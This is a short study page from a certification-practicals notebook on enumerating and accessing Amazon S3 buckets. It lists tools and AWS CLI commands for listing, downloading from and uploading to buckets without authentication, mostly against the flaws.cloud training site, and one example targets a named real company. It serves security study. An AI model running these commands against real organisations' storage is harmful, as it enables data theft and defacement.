> For the complete documentation index, see [llms.txt](https://thamizhiniyancs.gitbook.io/resources/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thamizhiniyancs.gitbook.io/resources/ceh-practicals-v12/s3-bucket-enumeration.md).

# S3 Bucket Enumeration

## Lazys3 - Ruby Script

{% embed url="<https://github.com/nahamsec/lazys3>" %}

* `ruby lazys3.rb <company>`
* `ruby lazys3.rb pakwheels`

***

## Cloud\_enum

* `sudo apt install cloud-enum`
* `cloud_enum -k [flaws.cloud](<http://flaws.cloud>) --disable-azure --disable-gcp`

***

## S3BucketList - Browser Extension

Manual Installation

{% embed url="<https://github.com/AlecBlance/S3BucketList>" %}

***

## Exploiting S3 UnAuthenticated

* `sudo apt-get install awscli`
* `cloud_enum -k [flaws.cloud](<http://flaws.cloud>) --disable-azure --disable-gcp`
* `aws s3 ls s3://flaws.cloud/ --no-sign-request`
* Download - `aws s3 cp s3://flaws.cloud/secret.html ./ --no-sign-request`
* Upload - `aws s3 cp ./index.html s3://flaws.cloud/secret.html --no-sign-request`

***

## Exploiting S3 Authenticated

* Create a free AWS account
* Go to AWS IAM dashboard
* Users → Add New user with programmatic access credential type
* Once user is created, note down the `access key` and `secret access key`
* Click User → Permissions → Add permissions → Attach existing policies → `AmazonS3FullAccess`
* `aws configure --profile someone`
* `aws s3 --profile someone ls s3://flaws.cloud/ --no-sign-request`
* `aws s3 --profile someone cp s3://flaws.cloud/something.html ./`